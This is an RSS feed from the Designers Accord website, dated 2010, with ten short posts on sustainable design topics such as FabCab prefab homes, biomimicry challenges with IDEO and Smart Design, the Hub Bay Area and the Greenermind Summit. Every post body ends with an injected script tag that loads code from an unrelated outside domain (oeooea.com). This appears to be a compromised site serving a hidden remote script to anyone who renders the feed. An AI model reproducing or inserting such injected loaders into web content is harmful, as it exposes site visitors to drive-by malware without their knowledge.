<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Designers Accord</title>
	<atom:link href="http://www.designersaccord.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.designersaccord.org</link>
	<description>The Designers Accord is a global coalition of designers, educators, and business leaders, working together to create positive environmental and social impact.</description>
	<lastBuildDate>Wed, 25 Aug 2010 04:14:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>FabCab Builds Universal Design Prefabs for &#8220;Aging in Place&#8221;</title>
		<link>http://www.designersaccord.org/fabcab-builds-universal-design-prefabs-for-aging-in-place/</link>
		<comments>http://www.designersaccord.org/fabcab-builds-universal-design-prefabs-for-aging-in-place/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 04:13:54 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1386</guid>
		<description><![CDATA[As Baby Boomers slowly inch towards retirement, the United States will  see a unique housing boom as more Americans than ever will be in need of  residences that respond to their changing needs. In the next 15 to 20  years, the number of residents aged 65 and over will double in the [...]]]></description>
			<content:encoded><![CDATA[<p>As Baby Boomers slowly inch towards retirement, the United States will  see a unique housing boom as more Americans than ever will be in need of  residences that respond to their changing needs. In the next 15 to 20  years, the number of residents aged 65 and over will double in the U.S.  And in the same period, the number of residents aged 85 and over will  triple. Increasingly, this demographic will need places to live that are  accessible to a range of abilities and convenient to their families and  caretakers, but homes that still help them retain their all-important  autonomy. <a href="http://fabcab.com/" target="_blank">FabCab</a> is a company that specializes in creating affordable, modern prefab  homes for our graying population, yet designs them in a way that appeals  to people of all ages and abilities.<br />
<a href="http://www.fastcodesign.com/1662127/fabcab-builds-universal-design-prefabs-for-aging-in-place"><br />
Read the entire case study on Fast Company</a><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/fabcab-builds-universal-design-prefabs-for-aging-in-place/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>From Ideas to Action: Advancing Sustainable Design at the 2010 Greenermind Summit</title>
		<link>http://www.designersaccord.org/pilot-handwriting-break-out-that-pen-to-create-your-self-font-good-uses-for-tarps-to-protect-and-to-surf-from-ideas-to-action-advancing-sustainable-design-at-the-2010-greenermind-summit/</link>
		<comments>http://www.designersaccord.org/pilot-handwriting-break-out-that-pen-to-create-your-self-font-good-uses-for-tarps-to-protect-and-to-surf-from-ideas-to-action-advancing-sustainable-design-at-the-2010-greenermind-summit/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 18:19:10 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1374</guid>
		<description><![CDATA[There&#8217;s no shortage of good ideas about sustainability and sustainable  design, but many of these ideas never come to life. That challenge was  one of the inspirations behind the creation of the GreenerMind Summit,  an unconference for designers, activists, and other sustainability  professionals in the Bay Area. The GreenerMind Summit&#8217;s motto: [...]]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s no shortage of good ideas about sustainability and sustainable  design, but many of these ideas never come to life. That challenge was  one of the inspirations behind the creation of the <a href="http://www.greenermindsummit.com/">GreenerMind Summit</a>,  an unconference for designers, activists, and other sustainability  professionals in the Bay Area. The GreenerMind Summit&#8217;s motto: just  f*cking do it. We have good ideas, and now it&#8217;s time to act.</p>
<p><a href="http://www.core77.com/blog/events/from_ideas_to_action_advancing_sustainable_design_at_the_2010_greenermind_summit_16996.asp" target="_blank">Read the entire event recap on Core77</a> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/pilot-handwriting-break-out-that-pen-to-create-your-self-font-good-uses-for-tarps-to-protect-and-to-surf-from-ideas-to-action-advancing-sustainable-design-at-the-2010-greenermind-summit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Could Biomimicry Build a Better Company Than Your Boss?</title>
		<link>http://www.designersaccord.org/could-biomimicry-build-a-better-company-than-your-boss/</link>
		<comments>http://www.designersaccord.org/could-biomimicry-build-a-better-company-than-your-boss/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 22:57:52 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1362</guid>
		<description><![CDATA[A few weeks ago we published the three case studies in our Ask Nature Biomimicry Challenge, where teams from Taller de Operaciones Ambientales (TOA), IDEO and Smart Design tackled design problems for real-world clients alongside biologists from the Biomimicry Institute. We&#8217;ve covered the solutions, but we wanted to check in with the clients as well: [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago we published the three case studies in our <a href="http://www.fastcompany.com/tag/biomimicry-challenge">Ask Nature Biomimicry Challenge</a>, where teams from <a href="http://www.fastcompany.com/1636523/what-would-you-ask-nature-toa-and-brightworks-sustainable-neighborhoods">Taller de Operaciones Ambientales</a> (TOA), <a href="http://www.fastcompany.com/1643489/biomimicry-challenge-ideo-uses-nature-to-reorganize-the-usgbc">IDEO</a> and <a href="http://www.fastcompany.com/1648801/biomimicry-challenge-smart-design-ecosystem-approach-to-water-conservation-for-ibm">Smart Design</a> tackled design problems for real-world clients alongside biologists from the Biomimicry Institute. We&#8217;ve covered the <a href="http://www.fastcompany.com/tag/biomimicry-challenge">solutions</a>, but we wanted to check in with the clients as well: Did they see biomimicry as a new tool that could help advance their businesses?</p>
<p><a href="http://www.fastcodesign.com/1661865/could-biomimicry-build-a-better-company-than-your-boss" target="_blank">Read the full article on the new Fast Company Design site!<br />
</a> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/could-biomimicry-build-a-better-company-than-your-boss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Myoo Uses Crowdsourcing for Sustainability Solutions</title>
		<link>http://www.designersaccord.org/myoo-uses-crowdsourcing-for-sustainability-solutions/</link>
		<comments>http://www.designersaccord.org/myoo-uses-crowdsourcing-for-sustainability-solutions/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 23:40:35 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1354</guid>
		<description><![CDATA[A windmill, a solar-powered dome, and dryer hidden behind a piece of art are just some of the dozens of ideas that people have for air-drying their clothes instead of tossing them in the dryer. These ideas have been uploaded as part of a new crowdsourcing contest: The winner takes home $4,500 in prizes and [...]]]></description>
			<content:encoded><![CDATA[<p>A windmill, a solar-powered dome, and dryer hidden behind a piece of art are just some of the dozens of ideas that people have for air-drying their clothes instead of tossing them in the dryer. These ideas have been uploaded as part of a new crowdsourcing contest: The winner takes home $4,500 in prizes and corporate sponsor Levi&#8217;s gets new insight into how its consumers think about saving water and energy. Behind the challenge is Myoo Create, a new company that works with brands to launching sustainability-focused crowdsourcing challenges that engage consumers and spur innovation.<br />
<a href="http://www.fastcompany.com/1662684/myoo-create-crowdsources-sustainable-solutions-for-companies" target="_blank"><br />
Read the entire case study in sustainability on Fast Company</a> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/myoo-uses-crowdsourcing-for-sustainability-solutions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Hub Bay Area: Where Change Agents Share Space and Ideas</title>
		<link>http://www.designersaccord.org/the-hub-bay-area-where-change-agents-share-space-and-ideas/</link>
		<comments>http://www.designersaccord.org/the-hub-bay-area-where-change-agents-share-space-and-ideas/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 21:47:36 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1321</guid>
		<description><![CDATA[Gathered around a large, sun-drenched table in the SoMa neighborhood of San Francisco on a Friday afternoon are financial advisers, activists, marketers, designers, coders, lawyers, and a half-dozen more local entrepreneurs. There are representatives from the microlending empire Kiva, social justice organization MercyCorps, and a solar-energy company based in India. At the table&#8217;s head is [...]]]></description>
			<content:encoded><![CDATA[<p>Gathered around a large, sun-drenched table in the SoMa neighborhood of San Francisco on a Friday afternoon are financial advisers, activists, marketers, designers, coders, lawyers, and a half-dozen more local entrepreneurs. There are representatives from the microlending empire Kiva, social justice organization MercyCorps, and a solar-energy company based in India. At the table&#8217;s head is <a href="http://davidbornstein.wordpress.com/" target="_blank">David Bornstein</a>, author of <a href="http://www.amazon.com/How-Change-World-Social-Entrepreneurs/dp/0195138058" target="_blank"><em>How to Change the World: Social Entrepreneurs and the Power of New Ideas</em></a>, widely considered to be the bible of social entrepreneurship, who casually addresses the group as they tuck into deli sandwiches and takeout sushi.</p>
<p>This is not some kind of exclusive golden-circle conference. This is a typical day at <a href="http://bayarea.the-hub.net/public/" target="_blank">Hub SoMa</a>, a 8600-square-foot shared workspace for socially focused enterprises, where a visitor at any hour of the day will witness similar exchanges between the several dozen startups, business incubators, and non-profits that inhabit the space.</p>
<p><a href="http://www.fastcompany.com/1657643/the-hub-in-san-francisco-is-a-sustainable-workspace-for-sharing-ideas" target="_blank">Read the full case study in sustainability on Fast Company</a> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/the-hub-bay-area-where-change-agents-share-space-and-ideas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Attend the Greenermind Summit!</title>
		<link>http://www.designersaccord.org/attend-the-greenermind-summit/</link>
		<comments>http://www.designersaccord.org/attend-the-greenermind-summit/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 16:15:57 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1307</guid>
		<description><![CDATA[THE SUSTAINABILITY UNCONFERENCE
The Greenermind Summit is an unconference co-hosted by Net Impact SF and IDSA-SF on June 11-13th to bring together Bay Area sustainability professionals in a fun, engaging, and interactive weekend of discussion and collaboration.

Location: Mendocino Woodlands Cabins 
Cost: $150 for non-members, $140 for members of IDSA-SF, Net Impact, YWSE, Designers Accord, or the [...]]]></description>
			<content:encoded><![CDATA[<p><strong>THE SUSTAINABILITY UNCONFERENCE</strong></p>
<p>The <a href="http://www.greenermindsummit.com/" target="_blank">Greenermind Summit</a> is an unconference co-hosted by Net Impact SF and IDSA-SF on June 11-13th to bring together Bay Area sustainability professionals in a fun, engaging, and interactive weekend of discussion and collaboration.</p>
<div>
<p><strong>Location: </strong>Mendocino Woodlands Cabins<strong> </strong></p>
<p><strong>Cost:</strong> $150 for non-members, $140 for members of IDSA-SF, Net Impact, YWSE, Designers Accord, or the HUB. Cost includes lodging, lunches, and dinners. (Yes &#8211; it&#8217;s a bargain).</p>
<p><strong>Dates:</strong> Friday June 11th through Sunday June 13th</p>
<p>Learn more at <a href="http://www.greenermindsummit.com/" target="_blank">www.greenermindsummit.com</a></div>
<p> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/attend-the-greenermind-summit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Biomimicry Challenge: For IBM, Smart Design Draws Water Conservation Inspiration From Ecosystems</title>
		<link>http://www.designersaccord.org/biomimicry-challenge-for-ibm-smart-design-draws-water-conservation-inspiration-from-ecosystems/</link>
		<comments>http://www.designersaccord.org/biomimicry-challenge-for-ibm-smart-design-draws-water-conservation-inspiration-from-ecosystems/#comments</comments>
		<pubDate>Mon, 24 May 2010 22:52:51 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1286</guid>
		<description><![CDATA[You&#8217;ve probably seen ads for IBM&#8217;s SmarterCity initiative, a program that uses the company&#8217;s information technology to help municipal governments create healthier, more intelligent urban environments for their residents. Using their ability to collect and analyze data, IBM is able to provide information about elements of daily city life ranging from weather and traffic to [...]]]></description>
			<content:encoded><![CDATA[<p>You&#8217;ve probably seen ads for IBM&#8217;s <a href="http://www-03.ibm.com/innovation/us/thesmartercity/index.shtml?cm_mmc=agus_brsmartcity-20090929-usbrp111-_-p-_-smcityvan-_-smcityvan" target="_blank">SmarterCity initiative</a>, a program that uses the company&#8217;s information technology to help municipal governments create healthier, more intelligent urban environments for their residents. Using their ability to collect and analyze data, IBM is able to provide information about elements of daily city life ranging from weather and traffic to water usage and air quality. But what they&#8217;ve done with that data has largely been used to make policy and economic decisions. IBM appealed to our <a href="http://www.fastcompany.com/1576191/what-would-you-ask-nature-submit-to-the-biomimicry-institutedesigners-accord-challenge" target="_blank">What Would You Ask Nature?</a> biomimicry challenge, asking how they could use nature to understand how these overlays of information could help guide residents toward making better personal decisions for the good of the city. A New York-based team at <a href="http://www.smartdesignworldwide.com/" target="_blank">Smart Design</a> accepted their challenge.</p>
<p><a href="http://www.fastcompany.com/1648801/biomimicry-challenge-smart-design-ecosystem-approach-to-water-conservation-for-ibm" target="_blank">Read the entire case study on Fast Company</a> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/biomimicry-challenge-for-ibm-smart-design-draws-water-conservation-inspiration-from-ecosystems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Biomimicry Challenge: IDEO Taps Octopi and Flamingos to Reorganize the USGBC</title>
		<link>http://www.designersaccord.org/biomimicry-challenge-ideo-taps-octopi-and-flamingos-to-reorganize-the-usgbc/</link>
		<comments>http://www.designersaccord.org/biomimicry-challenge-ideo-taps-octopi-and-flamingos-to-reorganize-the-usgbc/#comments</comments>
		<pubDate>Mon, 24 May 2010 22:50:28 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1282</guid>
		<description><![CDATA[No matter how lofty their mission, most large organizations are not designed for agility, and therefore many have the same big issues that come with dispersed growth. The United States Green Building Council, who most notably founded the LEED certification system that rates structures by sustainability, is no different: With 80 local chapters nationwide, they [...]]]></description>
			<content:encoded><![CDATA[<p>No matter how lofty their mission, most large organizations are not designed for agility, and therefore many have the same big issues that come with dispersed growth. The <a href="http://www.usgbc.org/" target="_blank">United States Green Building Council</a>, who most notably founded the <a href="http://www.usgbc.org/DisplayPage.aspx?CategoryID=19" target="_blank">LEED certification system</a> that rates structures by sustainability, is no different: With 80 local chapters nationwide, they struggle with challenges like making group decisions and the ability to keep members motivated and involved. But the USGBC wanted to investigate redesigning their organization in a way that was more closely aligned with their mission to protect and celebrate nature. In their words, they wanted to be more &#8220;resilient and organic&#8221; in how their organization communicates with stakeholders.</p>
<p>For our <a href="http://www.fastcompany.com/1576191/what-would-you-ask-nature-submit-to-the-biomimicry-institutedesigners-accord-challenge" target="_blank">What Would You Ask Nature?</a> biomimicry challenge, <a href="http://www.ideo.com/" target="_blank">IDEO</a>&#8217;s Boston office took on this hefty problem from the USGBC, which would essentially require a system-wide redesign for the way that their members communicate.</p>
<p><a href="http://www.fastcompany.com/1643489/biomimicry-challenge-ideo-uses-nature-to-reorganize-the-usgbc" target="_blank">Read the entire case study on Fast Company</a> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/biomimicry-challenge-ideo-taps-octopi-and-flamingos-to-reorganize-the-usgbc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Biomimicry Challenge: TOA Uses Fungi to Reimagine Sustainable Neighborhoods</title>
		<link>http://www.designersaccord.org/biomimicry-challenge-toa-uses-fungi-to-reimagine-sustainable-neighborhoods/</link>
		<comments>http://www.designersaccord.org/biomimicry-challenge-toa-uses-fungi-to-reimagine-sustainable-neighborhoods/#comments</comments>
		<pubDate>Thu, 06 May 2010 23:27:25 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Case Studies]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1256</guid>
		<description><![CDATA[As cities redevelop to provide greener, more efficient living and working environments for their residents, the greatest innovation happens in ecodistricts, small pockets of a city where planners can experiment with more sustainable practices. Portland-based Brightworks, a sustainable development company, has been helping neighborhoods create long-term plans so that they can receive funding under the [...]]]></description>
			<content:encoded><![CDATA[<p>As cities redevelop to provide greener, more efficient living and working environments for their residents, the greatest innovation happens in ecodistricts, small pockets of a city where planners can experiment with more sustainable practices. Portland-based <a href="http://www.brightworks.net/" target="_blank">Brightworks</a>, a sustainable development company, has been helping neighborhoods create long-term plans so that they can receive funding under the City of Portland&#8217;s <a href="http://www.pdxinstitute.org/index.php/ecodistricts" target="_blank">EcoDistricts Initiative</a>, a new program that hopes to accelerate sustainable neighborhood development throughout the city.</p>
<div>In this first case study in our biomimicry challenge <a href="http://www.fastcompany.com/1576191/what-would-you-ask-nature-submit-to-the-biomimicry-institutedesigners-accord-challenge" target="_blank">What Would You Ask Nature?</a>, see how Mexico City-based architectural firm <a href="http://www.tallertoa.com/" target="_blank">Taller de  Operaciones Ambientales</a> explored how to  create connections between Portland&#8217;s many ecodistricts. How do borders actually  function in nature? How do independent beings come together to form a bigger entity?</div>
<div></div>
<div><a href="http://www.fastcompany.com/1636523/what-would-you-ask-nature-toa-and-brightworks-sustainable-neighborhoods">Read the entire post on Fast Company</a></div>
<p> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/biomimicry-challenge-toa-uses-fungi-to-reimagine-sustainable-neighborhoods/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Designers Accord Tokyo Town Hall: Reflections and Photographs</title>
		<link>http://www.designersaccord.org/designers-accord-tokyo-town-hall-reflections-and-photographs/</link>
		<comments>http://www.designersaccord.org/designers-accord-tokyo-town-hall-reflections-and-photographs/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 18:12:41 +0000</pubDate>
		<dc:creator>valeriecasey</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Home]]></category>

		<guid isPermaLink="false">http://www.designersaccord.org/?p=1235</guid>
		<description><![CDATA[On Friday March 12th, 2010, the first Designers Accord Town Hall meeting in Asia was held in Tokyo, Japan. Hosted by The 4th International Conference of Design for Sustainability and greenz.jp, there were five speakers and 80 guests representing educators, business leaders, and students that came together to participate in the sustainability dialogue.
The Design Hub [...]]]></description>
			<content:encoded><![CDATA[<p>On Friday March 12th, 2010, the first Designers Accord Town Hall meeting in Asia was held in Tokyo, Japan. Hosted by <a href="http://www.sustainabledesign.jp/e/">The 4th International Conference of Design for Sustainability </a>and <a href="http://greenz.jp/">greenz.jp</a>, there were five speakers and 80 guests representing educators, business leaders, and students that came together to participate in the sustainability dialogue.</p>
<p>The Design Hub was an ideal venue for the Town Hall where its purpose is to connect and foster Japanese design amongst the local design community. Yoshihiro (Yosh) Kanematsu, creative director at <a href="http://greenz.jp/">greenz.jp</a>, introduced the evening&#8217;s theme &#8220;Design x Sustainability x Open Source,&#8221; and explained how the four Japanese speakers are pioneers in adapting to the open source movement and implementing their creativity in actual projects.</p>
<p><a href="http://www.core77.com/blog/events/designers_accord_tokyo_town_hall_reflections_and_photographs_16309.asp" target="_blank">Read the entire post on Core77</a> <script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.designersaccord.org/designers-accord-tokyo-town-hall-reflections-and-photographs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
